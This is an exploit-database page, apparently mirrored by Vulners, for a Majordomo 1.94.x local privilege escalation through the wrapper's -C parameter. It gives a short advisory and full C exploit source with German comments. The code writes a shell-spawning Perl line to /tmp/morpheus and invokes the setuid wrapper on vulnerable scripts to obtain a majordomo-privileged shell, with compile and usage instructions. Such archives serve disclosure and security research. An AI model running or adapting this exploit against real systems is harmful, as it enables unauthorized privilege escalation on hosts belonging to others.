Lucene search
K

Majordomo 1.94.4/1.94.5 - Local -C Parameter (2)

🗓️ 29 Dec 1999 00:00:00Reported by morpheus[bd]Type 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 38 Views

Local users can exploit Majordomo 1.94.4/1.94.5 using the -C parameter to gain privileges.

Code
// source: https://www.securityfocus.com/bid/903/info
 
It is possible for a local user to gain majordomo privileges through a vulnerability which allows privileged arbitrary commands to be executed. If the -C parameter is passed to majordomo (or one of several other scripts) when run with the setuid root wrapper, the argument to -C will be executed with majordomo privileges.
 
This occurs on several scripts: archive2.pl, bounce-remind, config-test, digest, majordomo, request-answer and resend. medit under bin/, and archive_mh.pl, new-list, and sequencer under Tools/ uses 'require' in the same way, but since the wrapper only executes those scripts found in the majordomo installation directory, they cannot be exploited.

/*
		MAJORDOMO - EXPLOIT F�R LINUX
		    getestet bis v1.94.5
		  programmiert von Morpheus
		  
    Der Exploit basiert auf der fehlerhaften Nutzung von Majordomo-
    Skripten. Standardm��ig wird vom Exploit das "bounce-remind"-Skript
    verwandt. Bei Erfolg liefert der Exploit eine Shell mit einer uid
    und gid dem Majordomo Wrapper entsprechend gesetzt.
    Getestet wurde der Exploit auf SuSE Linux 6.0 / 6.3 (CeBIT-Version).		    

    Zur Kompilierung des Exploits:
    
    	gcc major.c -o major    
    
    Zur Nutzung des Exploits:
    
    Wenn der Exploit <major> hei�t dann einfach ./major eingeben. Es
    sollte gen�gen. Wenn dann keine Shell gestartet wird, bitte die
    Fehlermeldungen beachten. Entweder ist die Majordomo-Version nicht
    "kompatibel" oder das Majordomo-Skript ist nicht vorhanden. Dann
    sollte man entweder ./major auto eingeben, so dass der Exploit
    alle verwundbaren Skripts ausprobiert, oder man gibt ./major <skript>
    ein, wobei <skript> durch ein verwundbares Majordomo-Skript zu ersetzen
    ist. Um die Hilfe-�bersicht zu bekommen, einfach ./major -h eingeben.
		    

    Programmiert von Morpheus [BrightDarkness] '00
    URL:  www.brightdarkness.de
    Mail: [email protected]

    
    Dieser Bug in Majordomo wurde nicht von mir entdeckt. Ich habe nur
    zu diesem Bug den entsprechenden Exploit programmiert.
*/

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>

#define MAJORDOMO	"/usr/lib/majordomo/wrapper"
#define SHELL 		"system(\"/bin/sh\")"
#define MORPHEUS	"/tmp/morpheus"
#define WRAPPER		"wrapper"

void intro(void);
void usage(char *arg);

int main(int argc, char **argv)
  {
    char skript[30];
    char *skripte[40];
    int i = 0;    
    int file;

    skripte[1] = "bounce-remind";
    skripte[2] = "archive2.pl";
    skripte[3] = "config-test";
    skripte[4] = "digest";
    skripte[5] = "majordomo";
    skripte[6] = "request-answer";
    skripte[7] = "resend";
        
    if ((argc == 2) && (strcmp(argv[1], "-h") == 0))
      usage(argv[0]);
    
    if (argc == 2)
      strncpy(skript,argv[1], strlen(skript));
    else
      strcpy(skript, "bounce-remind");
    
    if ((file = open(MORPHEUS, O_WRONLY|O_TRUNC|O_CREAT, 0600)) < 0)
      {
        perror(MORPHEUS);
        exit(1);
      }
    write(file, SHELL, strlen(SHELL));
    close(file);

    intro();
    if (strncmp(skript, "auto") == 0)
      {
        for (i = 1; i <= 7; i++)
          {
            printf("using : %s\n", skripte[i]);
            if (execl(MAJORDOMO, WRAPPER, skripte[i], "-C", MORPHEUS, 0) == -1) perror("EXECL");
          }
      }
    else
      {
        printf("using : %s\n", skript);
        if (execl(MAJORDOMO, WRAPPER, skript, "-C", MORPHEUS, 0) == -1) perror("EXECL");      
      }        
    return 0;
  }

void intro(void)
  {
    printf("\033[2J\033[1;1H");
    printf("\033[1;33mExploit-Code f�r Majordomo Wrapper <= v1.94.5\n");
    printf("\033[1;32mProgrammiert von Morpheus [BrightDarkness] '00\n");
    printf("\033[1;31mURL:  \033[1;32mwww.brightdarkness.de\n");
    printf("\033[1;31mmail: \033[1;[email protected]\n");
    printf("\033[0;29m");
  }

void usage(char *arg)
  {
    intro();
    printf("\033[1;34m");
    printf("Hilfe f�r dieses Programm :\n");
    printf("Benutzung : %s -h           Help screen\n", arg);
    printf("            %s auto         Trying all scripts automatically\n", arg);
    printf("            %s <skriptname> Tries just this <script>\n", arg);
    printf("\033[0;29m");
    exit(0);
  }

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation